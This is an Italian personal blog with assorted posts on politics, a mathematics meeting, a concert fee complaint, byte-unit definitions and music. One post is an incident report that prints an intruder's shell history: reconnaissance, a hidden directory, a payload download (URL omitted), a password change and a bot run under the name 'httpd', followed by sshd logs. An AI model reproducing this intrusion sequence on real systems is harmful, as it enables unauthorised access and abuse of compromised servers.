Il Pungolo

La Spagna vara una legge che aumenta i diritti per gli scimpanzé. La metafora orwelliana secondo cui tutti gli animali sono uguali, ma alcuni sono più uguali degli altri, è quindi realtà. Poca fantasia, da parte degli iberici: noi li abbiamo battuti sul tempo con il lodo Alfano.

La feccia della politica

Del Turco

Ci sono reati e reati. Dopo l’omicidio, la pedofilia e la violenza sessuale in genere, il reato più grave è a mio parere la truffa a spese dell’amministrazione pubblica. Di questo è stato accusato il Governatore dell’Abruzzo, Ottaviano Del Turco, schierato con il Partito Democratico. Non solo: secondo la Guardia di Finanza le prove a suo carico sono schiaccianti.

Si parla di truffe a danni della sanità per sei milioni di euro, una cifra che non riuscirei nemmeno a immaginare. E che nemmeno saprei come spendere. Quante persone potevano essere curate con quel denaro? Quanti posti letto in più sarebbero stati disponibili? Oppure, addirittura, quanti nuovi ospedali, attrezzature, centri di assistenza di ogni genere?

Ma la cosa più sconvolgente di tutta questa vicenda è la reazione del mondo politico. Dal Partito Democratico nessuna distanza: “Totale fiducia nella magistratura!”. Ma intanto il Governatore resta dov’è, nessuno ha mai parlato di dimissioni. Cuffaro era stato più onesto. Dal centrodestra, quindi dallo schieramento opposto, solite critiche alla Magistratura. Per lo meno Berlusconi è coerente, sta sempre dalla parte di quelli con la fedina penale sporca. “Di Pietro mi fa orrore”, aveva dichiarato in campagna elettorale. Lo stesso Di Pietro che ha già preso le distanze dal Governatore Del Turco, invitando tutti gli esponenti del suo partito a sciogliere l’alleanza con il Partito Democratico nella regione incriminata.

Dopo le dichiarazioni sulle leggi ad personam degli ultimi tempi e dopo la bagarre di Piazza Navona, il Partito Democratico arriva (se ci arriva) a compiere un anno di vita con le ossa rotte. Vedremo come andrà a finire; da parte mia, rimango come sempre soddisfatto delle mie scelte elettorali.

Caldé 2008

Rocca di Caldé

Anche quest’anno si avvicina il momento delle vacanze e anche quest’anno andrò a Caldé per il consueto “meeting di malati di mente”, almeno così l’ho soprannominato io: un incontro molto particolare tra tutti gli appassionati di matematica di ogni parte d’Italia.

Ci saranno campioni di scacchi, esperti di esperanto, semplici studenti o matematici professionisti; tutti insieme per condividere quella passione che è anche una delle scienze più antiche conosciute dall’uomo.

L’incontro si terrà a Caldé, una frazione di Castelveccana (VA), in una paradisiaca ambientazione sulle rive del Lago Maggiore. Chiunque fosse interessato a partecipare può contattare gli organizzatori agli indirizzi e-mail indicati nel programma (evito di inseririli qui per motivi di spam) oppure contattare direttamente il sottoscritto. La partecipazione è completamente gratuita, esclusi vitto e alloggio che sono a carico dei partecipanti.

Allego il programma di quest’anno e linko un raccontino a sfondo matematico che ho scritto qualche anno fa e che si è aggiudicato il premio “Verso una nuova immagine della matematica”, messo in palio dal Dipartimento di Matematica dell’Università di Pavia.

From Romania without love

Fare l’amministratore di sistema quando la propria mansione è realizzare siti web può diventare frustrante. In particolare quando si scopre che l’Area Sistemi Informativi dell’Università di Pavia “butta giù” un server con i siti di due facoltà perché generava troppo traffico anomalo (a ragione, per carità…).

La causa di questo problema è stata una connessione proveniente dalla Romania che ha avuto come bersaglio l’utente di un docente della Facoltà di Lettere, sul server del sito della Facoltà stessa. Una volta entrato, il malintenzionato ha installato un BOT che camuffava gli indirizzi di varie connessioni in giro per la rete in modo che risultassero provenienti dall’Università di Pavia. Un concetto simile a quello che spesso si ritrova nei film, quando l’eroe di turno deve virtualmente rincorrere in giro per il mondo tutti i computer attraverso i quali l’hacker è passato per offuscare la sua vera provenienza.

In particolare i comandi eseguiti sono stati i seguenti:

   15  uname -a
   16  ps x
   17  cat /proc/cpuinfo
   18  /sbin/ifconfig | grep inet
   19  cat /etc/hosts
   20  cd /var/tmp
   21  ls -a
   22  mkdir .core
   23  cd .core
   24  wget [omissis]
   25  tar xzvf [omissis]
   26  rm -rf [omissis]
   27  cd psybnc
   28  passwd
   29  ls -a
   30  chmod +x *
   31  ./httpd
   32  exit

Per i più inesperti, si può dire che il comando della riga 15 fornisce la versione di Linux installata, la 17 offre informazioni sul processore, la 18 sulle impostazioni di rete. Il comando 24 scarica il software da installare (che non ho scritto per evitare di dare spunti ai novizi hacker e per non finire nelle blacklist) e il 31 lo avvia, chiamandolo httpd per confonderlo con il server web così da dare meno nell’occhio e rendere più difficile l’identificazione da parte dell’amministratore.

Il comando 28 banalmente cambia la password per evitare che l’utente legittimo possa entrare.

Una volta che ho trovato e corretto il problema, il malintenzionato ha tentato di entrare nuovamente nella macchina, così come mostrato nei log di autenticazione:

Jul  8 15:10:36 studenti sshd[4751]: reverse mapping checking getaddrinfo for [omissis].rdsnet.ro [omissis] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul  8 15:10:38 studenti sshd[4751]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[omissis]  user=seth
Jul  8 15:10:41 studenti sshd[4751]: Failed password for seth from [omissis] port 1118 ssh2
Jul  8 15:10:53 studenti last message repeated 2 times
Jul  8 15:10:54 studenti sshd[4751]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=[omissis]  user=seth

Avevo ovviamente disabilitato l’utente appena notato il problema. L’amico rumeno dovrà quindi trovarsi un altro server per giocare al piccolo hacker.

Brillante weblog

Anche se in genere non amo particolarmente (anzi, spesso detesto) le catene di Sant’Antonio, vorrei comunque “stare al gioco” di Brillante Weblog. L’iniziativa consiste nel segnalare sette blog interessanti e invitare questi a fare lo stesso sul proprio blog.

Un redattore di Inchiostro, nel suo blog, mi segnala tra i sette “eletti”, rendendomi quindi involontariamente protagonista di questa catena.

Il blog che mi ha segnalato:

I sette blog che mi fa piacere segnalare:

  • Voglio Scendere
    Si tratta della vetrina ufficiale dei tre giornalisti Corrias, Gomez, Travaglio.
  • Spinoza
    Un blog serissimo, come scrive il suo creatore. Semplicemente geniale, aggiungo io.
  • Hic est Lyon
    Il blog di Andrea, un ragazzo italiano emigrato in Francia con una particolare predisposizione verso il giornalismo.
  • Non pianeta, ma stella
    Uno dei blog più simili al mio, gestito da una ragazza pugliese.
  • Inchiostro
    Il blog del giornale degli studenti dell’Università di Pavia.
  • Mau
    Il sito personale, con annesso blog, di Maurizio Codogno, un appassionato di matematica.
  • Marzapower
    Il blog personale di Daniele, il mio coinquilino.

Il Pungolo

La Cina sta sperimentando un nuovo metodo, estremo ma efficace, per sfoltire la popolazione: una rivisitazione asiatica delle piaghe d’Egitto. Dopo l’invasione di alghe e quella di cavallette, il governo spera che prima o poi arrivi anche la morte dei primogeniti.

step1

Logo step1

Oggi mi è giunta notizia che un giornale universitario online rischia la chiusura. Il suo nome è step1 e ho avuto modo di conoscerne alcuni collaboratori durante il Festival del Giornalismo di Perugia.

La testata, nata quasi quattro anni fa nella Facoltà di Lingue e Letterature straniere dell’Università di Catania, ha continuato a guadagnare consensi e lettori, arrivando a oggi con più di 4500 articoli al loro attivo (circa 1300 ogni anno, il che vuol dire più di 3 al giorno!). Purtroppo troppo spesso le attività studentesche, anche se di successo, non ricevono dall’Università l’attenzione e i finanziamenti che meritano. Come è accaduto per Inchiostro qualche anno fa, durante un drastico taglio di fondi, ora tocca ai colleghi di step1 protestare e minacciare la chiusura, motivando le loro scelte in questo (ultimo?) articolo.

Dopo il rischio di chiusura per Facoltà di Frequenza, la prima radio universitaria, nonché probabilmente l’unica che va in onda su FM, emergenza fortunatamente rientrata (o meglio, rimandata di sei mesi), la vicenda che vede coinvolta step1 rimette in discussione il ruolo degli atenei quali enti di difesa della creatività degli studenti, ridimensionandosi a meri “alberghi per cervelli”, luoghi di passaggio in attesa di una vita migliore, troppo spesso all’estero.

Per concludere con ottimismo, citando l’epilogo dell’ultimo articolo di step1, se muore step1, viva step1!

Lettera alla S.I.A.E.

Non c’è nulla da fare: il concerto dei Marlene Kuntz, anche se non per colpa loro, proprio non mi è andato giù. Volendo andare avanti nella questione, ho deciso di scrivere una lettera alla S.I.A.E. nonostante io personalmente, per usare un eufemismo, non stimi particolarmente il suo comportamento e le leggi che ne regolano l’esistenza. Tuttavia le leggi, per quanto talvolta poco condivisibili, devono essere rispettate. Da tutti.

Spett.le S.I.A.E.,
mi chiamo Alessio Palmero Aprosio e recentemente mi sono trovato davanti a un episodio che mi ha lasciato qualche dubbio sulle questioni legali legate ai concerti definiti “a ingresso libero”.
La sera del 20 giugno mi sono recato presso il locale Thunder Road a Codevilla (PV) attratto da alcune locandine che sponsorizzavano un concerto del gruppo italiano Marlene Kuntz. Le locandine riportavano la dicitura “ingresso libero”. Arrivato al locale mi sono trovato davanti a un cartello recante il seguente messaggio: “Ingresso libero, consumazione obbligatoria 10 euro”. Sono rimasto alquanto perplesso perché, sinceramente, non me l’aspettavo.
Decido di entrare comunque nel locale, rendendomi conto che l’ingresso è effettivamente gratuito. Provando a uscire, però, un buttafuori (che definirei più che altro un buttadentro) mi ha detto che finché non consumo non posso uscire. Al di là della legalità o meno di questa “strategia”, la cosa che mi ha spinto di più a scrivere questo messaggio è il prezzo minimo della consumazione, ovvero i 10 euro. In pratica la prima consumazione (quale che fosse) aveva un costo di 10 euro, mentre dalla seconda in poi il prezzo era quello di listino. Per quanto ne capisco io, questa strategia mi sembra più un “ingresso 10 euro, prima consumazione inclusa” piuttosto che “ingresso libero, consumazione obbligatoria 10 euro”.

In conclusione la mia domanda è: da un punto di vista prettamente “legale”, è corretto questo tipo di strategia, considerando il fatto che non ho avuto alcun biglietto con il marchio S.I.A.E.? Per quanto mi ricordo le volte che ho organizzato concerti all’aperto, se il biglietto era a pagamento eravamo tenuti a vendere i biglietti con il bollino. Se invece l’ingresso è libero, il pagamento dovuto alla S.I.A.E. è molto minore.
Può quindi considerarsi “a ingresso libero” il concerto sopra descritto?

Grazie mille della delucidazione
Distinti saluti
Alessio Palmero Aprosio

Disinfografica

Infografica de La Stampa

Ieri su “La Stampa” è stato pubblicato un articolo di divulgazione informatica riguardo al “peso” di ciascun abitante della Terra. In particolare l’autore sottolineava come ognuno di noi in media “occupi” 45 Gigabyte di spazio digitale. A parte l’affidabilità di questo dato (credo che sia più precisa la stima sul numero di gocce che ci sono nel mare), è notevole come l’infografica centrale abbia preso una delle più grosse cantonate che io abbia mai visto. Almeno per quanto riguarda l’ambiente informatico.

L’articolo, a partire dal bit, arriva a spiegare a cosa corrisponde il fantomatico Gigabyte che, per i più profani, potrebbe effettivamente rappresentare un dato tanto piccolo quanto grande.

Il bit, come correttamente recita l’articolo, è l’unità più piccola che un computer può prendere in considerazione. Esso può assumere solamente valori 0 e 1, acceso e spento, come ognuno di noi potrebbe aspettarsi. In pratica, come l’essere umano utilizza la base 10 perché ha 10 dita nella mano, il computer utilizza la base 2 perché riesce a comprendere appieno solamente i concetti elementari di “acceso” e “spento”.

Dopo il bit arriva il byte. Di nuovo, correttamente, il giornalista ci racconta che quest’ultimo è formato da 8 bit. Non ci spiega il motivo di questa scelta, che è dettata semplicemente dalla praticità: così come per l’uomo 100 è una cifra tonda perché è 10 x 10, così lo è 8 per un computer, in quanto trattasi di 2 x 2 x 2.

Ecco che ora arriva la chicca: un Kilobyte è formato da 1000 byte. Non c’è affermazione più scorretta di questa. Come detto prima, il numero 1000 è comodo per la nostra percezione perché è 10 x 10 x 10, ma lo stesso ragionamento non vale per un computer, visto che a detta di quest’ultimo il numero 1000 non è altro che un valore come un altro, nemmeno particolarmente comodo. Il valore più vicino a 1000, tra quelli comodi per un sistema in base 2, è 1024, in quanto prodotto del numero 2 per se stesso 10 volte, ovvero 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2. Una manna per i nostri fedeli amici a transistor, insomma, che però il giornalista deve aver dimenticato.

Per convenzione, quindi, si è stabilito che in ambito informatico i vari prefissi Kilo-, Mega-, Giga-, Tera-, Peta- ed Exa- indicassero la moltiplicazione per 1024 invece che per 1000. Tale convenzione è chiaramente dettata dalla vicinanza di 1024 a 1000, il che rende l’approssimazione a 1000 vicina al valore effettivo. Tuttavia, in un articolo di giornale atto a spiegare proprio cosa fossero quei 45 Gigabyte che ognuno di noi occuperebbe, la precisione sulla sua definizione non poteva essere trascurata in modo così palese.

A trovare sempre il pelo nell’uovo, l’articolo scrive le varie unità di misura (Kilobyte, Megabyte, ecc.) con la lettera minuscola. Qualcuno dovrebbe spiegare al giornalista che tali termini vanno scritti maiuscoli…

Cristicchi al Broletto

Simone Cristicchi

Questa sera mi sono trovato per caso a vedere uno spettacolo di rara qualità. Entrare in un bar per prendere una coca e scoprire che dalla porta posteriore si poteva assistere a uno spettacolo live di Simone Cristicchi è un’esperienza che si riesce a provare una sola volta nella vita.

Ad accompagnare l’artista c’era un quartetto flauto/violino/viola/violoncello talmente bravo da far venire la pelle d’oca. Il programma dello spettacolo, in parte recitato e in parte cantato, non prevedeva solamente pezzi di Cristicchi, ma anche grandi classici o semplicemente cover di pezzi più o meno noti.

Il concerto si è aperto con un medley strumentale dedicato a De André e con un’inusuale versione quasi parlata de “l’italiano” di Toto Cutugno. Non pensavo che a un certo punto della mia vita avrei apprezzato quel pezzo. Tra le altre cover, “il disertore” di Boris Vian (nella traduzione di Ivano Fossati), “io che ho avuto solo te” di Sergio Endrigo, “mi sono innamorato di te”, di Luigi Tenco. Per il resto si sono alternati interessanti brani di prosa e canzoni proprie di Cristicchi.

Dopo la serata al Thunder Road, questo piacevole imprevisto ci voleva proprio!